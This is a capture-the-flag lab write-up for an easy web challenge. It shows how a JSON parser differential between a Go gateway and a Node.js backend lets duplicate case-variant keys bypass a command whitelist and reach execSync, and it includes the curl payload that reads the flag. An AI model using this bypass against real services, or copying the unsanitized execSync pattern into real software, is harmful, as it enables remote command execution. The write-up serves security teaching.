Instance Metrics - HC Writeup

February 15, 2026·5 min read·
ctfwebcode-reviewrcegonodejs

Reading time: ~8 minutes | Level: Easy

Target Information

  • IP Address: 172.16.3.33
  • Difficulty: Easy
  • Tags: Web, Code Review, JSON Parsing, Go, Node.js, RCE

Reconnaissance

Port Scanning

Initial scan using nmap:

$bash
nmap -sC -sV -p- --min-rate 500 -vvv -oA nmap 172.16.3.33

Results:

$code
PORT   STATE SERVICE VERSION
80/tcp open  http    Go net/http server

Web Enumeration

Discovery: Source Code Review (Docker Compose + Application Code)

The challenge provides the complete application source code. The architecture consists of two Docker services:

  • Gateway (Go) — port 80 → 8000 — reverse proxy with command validation middleware
  • Metrics (Node.js/Express) — port 3000 (internal) — executes system commands via execSync

The docker-compose.yaml exposes the structure and credentials:

$yaml
services:
  gateway:
    build: ./gateway
    ports:
      - "80:8000"
    environment:
      - X_API_GATEWAY_KEY=e5f76862-ce9a-47ef-8cc7-b3e52fb7fec5
    depends_on:
      - metrics
 
  metrics:
    build: ./metrics
    environment:
      - X_API_GATEWAY_KEY=e5f76862-ce9a-47ef-8cc7-b3e52fb7fec5
      - PORT=3000

Test payload:

$http
POST /api/instance-metrics/ HTTP/1.1
Host: 172.16.3.33
Content-Type: application/json
 
{"command":"df"}

Response:

$json
{
  "output": "Filesystem     1K-blocks    Used Available Use% Mounted on\noverlay          7034376 4679652   2338340  67% /\n..."
}

Endpoint confirmed working! The gateway accepts whitelisted commands and proxies them to the backend.


Source Code Disclosure

The source code was provided with the challenge. Analysis revealed two critical points:

Backend — metrics/app.js (Node.js):

$javascript
app.post("/", validateApiGatewayKey, (req, res) => {
  const { command, timeout } = req.body;
 
  if (!command) {
    return res.status(400).json({ error: "Command is required" });
  }
 
  try {
    const options = timeout ? { timeout: parseInt(timeout, 10) } : {};
    const output = execSync(command, options).toString();
    res.json({ output });
  } catch (error) {
    res.status(500).json({ error: error.message });
  }
});

The backend executes any command received in the command field via execSync, without any sanitization. The only protection is the X-Api-Gateway-Key header validation.

Gateway — gateway/main.go (Go):

$go
type InstanceMetricsRPC struct {
    Command string `json:"command"`
    Timeout int    `json:"timeout"`
}
 
func sanitizeRpcMiddleware(next http.Handler) http.Handler {
    allowedCommands := map[string]bool{"ps": true, "df": true, "whoami": true, "uname": true}
 
    return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
        originalBody, _ := io.ReadAll(r.Body)
        r.Body.Close()
 
        var rpc InstanceMetricsRPC
        json.NewDecoder(bytes.NewReader(originalBody)).Decode(&rpc)
 
        if rpc.Command == "" || !allowedCommands[rpc.Command] {
            http.Error(w, "Invalid or missing command", 403)
            return
        }
 
        // Forwards the ORIGINAL body to the backend
        r.Body = io.NopCloser(bytes.NewReader(originalBody))
        r.ContentLength = int64(len(originalBody))
        next.ServeHTTP(w, r)
    })
}

Code analysis revealed: The gateway validates the command against a whitelist, but forwards the original body to the backend. Validation happens with Go's JSON parser, while the backend uses Node.js's JSON parser — and they behave differently regarding case-sensitivity.


Exploitation: Remote Code Execution

JSON Parser Differential (Go vs Node.js)

A vulnerabilidade central está na diferença de comportamento entre os parsers JSON:

BehaviorGo (encoding/json)Node.js (JSON.parse)
Case sensitivity on field matchingCase-insensitive"Command" and "command" both map to the struct's Command fieldCase-sensitive"Command" and "command" are completely different keys
Duplicate keysTakes the last matching valueTakes the last value with the exact key

This means that when sending {"command":"malicious","Command":"df"}:

  • Go reads "command" → case-insensitive match with Command field → value "malicious", then reads "Command" → also matches → overwrites with "df" → passes whitelist ✅
  • Node.js reads "command""malicious", reads "Command" → different key, stored separately → req.body.command = "malicious" → executes the payload ✅

Payload:

$json
{
  "command": "cat /flag.txt",
  "Command": "df"
}

Complete request:

$bash
curl -X POST http://172.16.3.33/api/instance-metrics/ \
    -H "Content-Type: application/json" \
    -d '{"command":"cat /flag.txt","Command":"df"}'

Response:

$json
{ "output": "hackingclub{p4rs3r_d1ff3r3nt14ls_br34k_tru5t}\n" }

RCE achieved and flag captured!


Attack Chain Summary

$code
1. Code Review — Identification of Gateway (Go) + Backend (Node.js) architecture
   ↓
2. Vulnerability Identification — JSON Parser Differential (case-sensitivity)
   ↓
3. Exploitation — Payload with duplicate keys {"command":"RCE","Command":"df"}
   ↓
4. Flag — cat /flag.txt via execSync on the backend

Vulnerabilities Summary

  1. JSON Parser Differential CWE-436 Critical

    • Case-sensitivity difference between Go and Node.js allows complete gateway whitelist bypass, resulting in RCE
  2. OS Command Injection (execSync without sanitization) CWE-78 Critical

    • The backend executes any received string as a system command, without validation or sanitization
  3. Hardcoded API Key CWE-798 High

    • The authentication key is stored in plaintext in docker-compose.yaml, exposed in the repository
  4. Information Exposure via Error Messages CWE-209 Medium

    • The backend returns the full error.message to the client, exposing internal paths and stack traces

Technical Analysis

JSON Parser Differential Breakdown

Technology: Go 1.21 (encoding/json) vs Node.js (JSON.parse via Express 5.x)

Gateway (Go) — validates with case-insensitive parser:

$go
type InstanceMetricsRPC struct {
    Command string `json:"command"`
}
// "command" and "Command" both map to this field

Backend (Node.js) — executes with case-sensitive parser:

$javascript
const { command } = req.body;
// Only "command" (exact lowercase) is read

Exploitation chain:

  1. Attacker sends JSON with two keys: "command" (malicious payload) and "Command" (allowed command)
  2. Go gateway reads both as the same field (case-insensitive), last one wins → "df" → passes whitelist
  3. Node.js backend reads only "command" (case-sensitive) → "cat /flag.txt" → executes via execSync

Tools Used

  • curl - HTTP client para envio dos payloads
  • Manual Code Review - Static analysis of the provided source code

References

JSON Parser Differentials

Go encoding/json Behavior

CWE References